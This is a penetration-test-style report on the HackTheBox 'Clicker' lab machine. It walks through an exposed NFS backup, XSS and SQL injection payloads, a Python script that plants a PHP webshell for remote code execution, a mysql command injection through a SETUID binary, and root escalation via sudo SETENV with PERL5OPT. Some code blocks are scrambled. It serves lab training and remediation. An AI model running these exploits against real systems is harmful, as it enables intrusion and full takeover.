Clicker - Pentest Report
Executive Summary
HackTheBox contracted Otrashoui Cybersecurity Services™ to perform a Network Penetration Test of one of Hack The Box’s internal hosts to identify security weaknesses, determine the impact to HackTheBox, and provide remediation recommendations.
Approach
Otrashoui Cybersecurity Services™ performed testing under a “black box” approach without credentials or any prior knowledge of HackTheBox’s environment.
Scope
Host | Description |
---|---|
IP | clicker web server |
Assessment Overview and Recommendations
During the Penetration test against HackTheBox, Otrashoui Cybersecurity Services™ identified five (5) findings that affect HackTheBox’s information security posture.
The first finding involved an insecure NFS share. This file share was publicly accessible and contained a backup of the source code for the application running at http://clicker.htb
. It possible to restrict access to these file shares by using configuration files or firewall rules.
Another finding involved a Cross Site Scripting vulnerability on the web site at http://clicker.htb
. This vulnerability can used by attackers to access other users accounts, and potentially gain access to sensitive administrative functionality. This issue can be fixed by adopting secure coding practices.
The tester was able to exploit a SQL Injection vulnerability in the web application that allowed him to escalate privileges and become an “Admin” user. This is also an issue which can be fixed by secure coding practices.
With administrative access on the web application, the tester could exploit another vulnerability only exploitable by admin users. This vulnerability allowed to write arbitrary PHP code in the web directory, which resulted in remote code execution. Secure coding practices will mitigate this kind of issue, as well as better design decisions (such as not making the exported file available in the web directory).
There was a custom application on the server used to administer the database. The tester found a flaw that allowed him to execute system commands as another user, thus escalating privileges. One way to fix this issue is to create a dedicated low privilege user user to perform these kinds of tasks.
Finally, a user on the system was allowed to run specific commands as a high privilege user. The tester found a way to execute arbitrary system commands as the super user, thus granting full access over the clicker
server. This issue can be fixed by hardening the rules used to allow low privilege users to run commands as the super user.
Summary of Findings
The following table presents a summary of findings by severity level:
High | Medium | Low | Total |
---|---|---|---|
4 | 1 | 0 | 5 |
Below is a high-level overview of each finding identified during the assessment. These findings are covered in depth in the Technical Findings Details section of this report:
Name | Severity |
---|---|
Cross Site Scripting | High |
SQL Injection | High |
Arbitrary File Write | High |
Command Injection | High |
Insecure NFS Share | Medium |
Exploitation Walkthrough
During the course of the assessment, Otrashoui Cybersecurity Services™ was able to gain a foothold and compromise the in-scope host. The steps below demonstrate how the tester went from unauthenticated user to administrative access on the host.
Detailed Walkthrough
- A NFS share was publicly accessible, which contained a backup of the web application running on
http://clicker.htb
. - Upon analysis of the source code, the tester found a SQL injection vulnerability that allows to escalate privileges to “Admin”.
- There was an administrative functionality that allowed exporting player stats to a file. It was possible to specify an arbitrary extension to the file and control some of the content, which resulted in remote code execution.
- A custom SETUID executable allowed any user to run SQL queries via the
mysql
client as thejack
user. It is possible to run arbitrary system commands by specifying a custom SQL script to run withmysql
. - The
jack
user is allowed to run the script/opt/monitor.sh
as root without password. Thesudo
rule uses the directiveSETENV
which allows to pass environment variables to the process running as root. It was possible to export an environment variable to pass command line flags to theperl
interpreter which resulted in executing arbitrary commands as root.
Reproduction Steps
In the following code snippets, [...]
is used to discard irrelevant output in the current context. Additionally, lines starting with the $
character indicate a system command typed by the tester.
List the available NFS shares:
$ showmount -e 10.129.128.152
Export list for 10.129.128.152:
/mnt/backups *
Create a nfs
loca directory and mount
the NFS share into this directory (requires root privileges):
$ mkdir nfs
$ sudo mount -t nfs -o nolock 10.129.128.152:/mnt/backups ./nfs
$ ls ./nfs
clicker.htb_backup.zip
The following command exploits the first SQL injection to promote all users in the DB to the “Admin” role:
$ curl -ib PHPSESSID=0679lrlantvs55rmo7ro55ng02 clicker.htb/save_game.php -G -d 'role%3D%22Admin%22%23=sdofiu'
HTTP/1.1 302 Found
Date: Sun, 24 Sep 2023 18:18:03 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Content-Type: text/html; charset=UTF-8
After logging out and logging back in, the administration panel is now accessible:
Admins have access to an export functionality to write player stats to a file. It is possible to control the extension of that file, and it is accessible in the web directory:
[...]$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
It is possible to execute arbitrary system commands by modifying our own nickname to PHP code, and set the extension to php
.
A python script is provided for convenience:
$ python3 rce.py id
[+] successfully registered account
[+] successfully logged in
[+] escalated to Admin
[+] wrote PHP webshell
command output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
The custom SETUID executable at /opt/manage/execute_query
allows any user to run arbitrary system commands as jack
:
www-data@clicker:/opt/manage$ echo '\! /usr/bin/id' > /tmp/f.sql
www-data@clicker:/opt/manage$ ./execute_query 42 ../../../tmp/f.sql
mysql: [Warning] Using a password on the command line interface can be insecure.
uid=1000(jack) gid=33(www-data) groups=33(www-data)
The user jack
is allowed to run a custom shell script as root without password:
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
The SETENV
directive is used, meaning environment variables can be passed to the process running as root.
Here is the bash script:
!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
xml_pp
is a Perl script used to “pretty-print” XML documents.
The PERL5LIB
and PERLLIB
environment variables are unset
but the Perl documentation mentions a PERL5OPT
variable that allows to pass command line options to the perl
interpreter.
The -I
option is used to specify a directory which will be prepended to the search path for Perl modules. The -m
option is used to import a function from a Perl module. It will also execute Perl code in this module.
To exploit this, create a malicious Perl module at /home/jack/evil.pm
:
package evil;
system "id";
sub rce {
print "hehe";
}
1;
Then export the PERL5OPT
environment variable to add /home/jack
to the Perl module path and import the rce
function:
jack@clicker:~$ export PERL5OPT='-I/home/jack -mevil=rce'
jack@clicker:~$ sudo --preserve-env=PERL5OPT /opt/monitor.sh
uid=0(root) gid=0(root) groups=0(root)
<?xml version="1.0"?>
<data>
[...]
The rce
function is never called, but the line system "id";
is executed when the module is imported.
Remediation Summary
Short Term
- Validate and/or sanitize user input before including it in a web page.
- Always use SQL “prepared statements” when building a SQL query.
- Restrict access to NFS shares to specific IP addresses using configuration files or firewall rules.
- Restrict allowed file extensions. Consider storing the files outside the web directory.
- Only allow trusted users to use the
/opt/manage/execute_query
executable.
Medium Term
- Create specific low privilege users to perform certain tasks.
- Adopt the Principle of Least Privilege when assigning roles in the organization.
Long Term
- Conduct periodic security audits.
Technical Findings Details
1. Cross Site Scripting (XSS) - High
CVSS 3.1 Score | 8.0 |
---|---|
Affected Application | http://clicker.htb |
Description | Cross Site Scripting vulnerabilities (XSS) occur when a web application includes user supplied input in the web page, without properly validating or sanitizing the input. |
Impact | An attacker can exploit a XSS vulnerability to take over accounts of other users, perform actions in the context of the victime or modify the appearance of the web site. |
Remediation | Validate and/or sanitize user input before including it in a web page. |
External References | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
Evidence
The game_level.php
endpoint allows users to modify their profile, but doesn’t validate input. As a result it is possible to update our own profile and place a XSS payload in one of the fields displayed in /profile.php
:
$ curl -ib PHPSESSID=8fibugg7ki8f00l0k7j9lkonhl 'clicker.htb/save_game.php?level=<script>alert(1)</script>'
HTTP/1.1 302 Found
Date: Sat, 23 Sep 2023 22:19:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Visit http://clicker.htb/profile.php
to confirm the vulnerability:
2. SQL Injection - High
CWE | 89 |
---|---|
CVSS 3.1 Score | 8.1 |
Affected Host | http://clicker.htb |
Description | |
Impact | An attacker can escalate their privileges to administrator, giving them access to sensitive information and functionality in the web application. |
Remediation | Always use SQL “prepared statements” when building a SQL query. |
External References | https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html |
Evidence
The first vulnerability is in the save_profile
function in db_utils.php
:
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
The $player
parameter is properly sanitized but $args
isn’t.
There is another one in the get_top_players()
function (still db_utils.php
):
// ONLY FOR THE ADMIN
function get_top_players($number) {
global $pdo;
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
return $result;
}
If an attacker is able to control the $number
parameter, it is possible to exploit the vulnerability.
The following command exploits the first SQL injection to promote all users in the DB to the “Admin” role:
$ curl -ib PHPSESSID=0679lrlantvs55rmo7ro55ng02 clicker.htb/save_game.php -G -d 'role%3D%22Admin%22%23=sdofiu'
HTTP/1.1 302 Found
Date: Sun, 24 Sep 2023 18:18:03 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Content-Type: text/html; charset=UTF-8
After logging out and logging back in, the administration panel is now accessible:
3. Arbitrary File Write - High
CWE | 434 |
---|---|
CVSS 3.1 Score | 6.7 |
Affected Host | http://clicker.htb |
Description | The web application has an administrative functionality to export player stats to a file. There is no restriction on the file extension and it is possible to control some of the content. |
Impact | An attacker can exploit this vulnerability to write a PHP file in the web directory, resulting in remote code execution. |
Remediation | Restrict allowed file extensions. Consider storing the files outside the web directory. |
External References | https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html |
Evidence
The vulnerable code is in export.php
:
[...]$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
It is possible to specify an arbitrary extension to the file written in the /exports
directory, which is accessible at http://clicker.htb/exports/
. By modifying one of the
The following python script exploits the SQL injection and this vulnerability to execute an arbitrary system command:
#!/usr/bin/env python3
import requests
import sys
import re
= "http://clicker.htb"
URL
with requests.Session() as session:
#session.proxies.update({"http": "http://127.0.0.1:8080"})
= {"username": "pwnage", "password": "pwnage"}
creds
# login and register
= session.post(URL + "/create_player.php", data=creds, allow_redirects=False)
res = res.headers.get("location")
location if location and "Successfully registered" in location:
print("[+] successfully registered account")
else:
print("[-] failed to register account")
= session.post(URL + "/authenticate.php", data=creds, allow_redirects=False)
res = res.headers.get("location")
location if location and location == "/index.php":
print("[+] successfully logged in")
else:
print("[-] failed to login")
1)
sys.exit(
# exploit SQLi to become admin (need to logout and log back in to work)
# need to put tabs instead of spaces (don't know why)
= {'role="Admin"\tWHERE\tusername="pwnage"#': "doesntmatter"}
payload = session.get(URL + "/save_game.php", params=payload, allow_redirects=False)
res + "/logout.php", allow_redirects=False)
session.get(URL + "/authenticate.php", data=creds, allow_redirects=False)
session.post(URL print("[+] escalated to Admin")
# write PHP webshell
= {"nickname": "WEBSHELL <?php system($_REQUEST['cmd']); ?> WEBSHELL"}
payload = session.get(URL + "/save_game.php", params=payload, allow_redirects=False)
res = {"extension": "php"}
payload = session.post(URL + "/export.php", data=payload, allow_redirects=False)
res print("[+] wrote PHP webshell")
= res.headers["location"].split()[-1]
filename = {"cmd": sys.argv[1]}
cmd = session.post(URL + "/" + filename, data=cmd)
res = re.search(r"WEBSHELL (.*)\s? WEBSHELL", res.text)
match if match:
print(f"command output: {match.group(1)}")
else:
print("[-] no output ...")
Specify the command to run as an argument:
$ python3 rce.py id
[+] successfully registered account
[+] successfully logged in
[+] escalated to Admin
[+] wrote PHP webshell
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Command Injection - High
CWE | 78 |
---|---|
CVSS 3.1 Score | 8.0 |
Affected Host | clicker |
Description | The /opt/manage/execute_query custom SETUID executable allows any user to run SQL queries via the mysql client as the jack user. It is possible to run arbitrary system commands. |
Impact | An attacker already present on the system can exploit this vulnerability elevate their privileges to the jack user. |
Remediation | Only allow trusted users to use this application. |
External References | https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html |
Evidence
Using a decompiler such as Ghidra, it is possible to get C-like code from the binary. Here is the code used to determine what SQL script to run.
[...]
= atoi(argv[1]);
choice = calloc(0x14, 1);
filename switch(choice) {
case 0:
("ERROR: Invalid arguments");
puts= 2;
uVar1 goto LAB_001015e1;
case 1:
(filename, "create.sql", 0x14);
strncpybreak;
case 2:
(filename, "populate.sql", 0x14);
strncpybreak;
case 3:
(filename, "reset_password.sql", 0x14);
strncpybreak;
case 4:
(filename, "clean.sql", 0x14);
strncpybreak;
default:
(filename, argv[2], 0x14);
strncpy}
[...]
By specifying an argument greater that 4, the program will set the filename to the second argument of the program.
This filename is then concatenated to a hardcoded directory such that the resulting string will look like /home/jack/queries/<filename>
.
The absolute path is then added at the end of a string representing the command to run with system()
:
/usr/bin /mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<filename>
Using directory traversal, it is possible to pass any file to this command.
The mysql
command is in GTFOBins, and it can be used to execute system commands as jack
with this payload:
www-data@clicker:/opt/manage$ echo '\! /usr/bin/id' > /tmp/f.sql
www-data@clicker:/opt/manage$ ./execute_query 42 ../../../tmp/f.sql
mysql: [Warning] Using a password on the command line interface can be insecure.
uid=1000(jack) gid=33(www-data) groups=33(www-data)
5. Insecure NFS Share - Medium
CWE | 200 |
---|---|
CVSS 3.1 Score | 5.3 |
Affected Host | clicker.htb |
Description | A NFS is exposed publicly. |
Impact | An attacker may get access to sensitive files, such as configuration files or credentials. |
Remediation | Restrict access to NFS shares to specific IP addresses. |
External References | https://www.baeldung.com/linux/nfs-security-over-internet |
Evidence
$ showmount -e 10.129.128.152
Export list for 10.129.128.152:
/mnt/backups *
$ mkdir nfs
$ sudo mount -t nfs -o nolock 10.129.128.152:/mnt/backups ./nfs
$ ls ./nfs
clicker.htb_backup.zip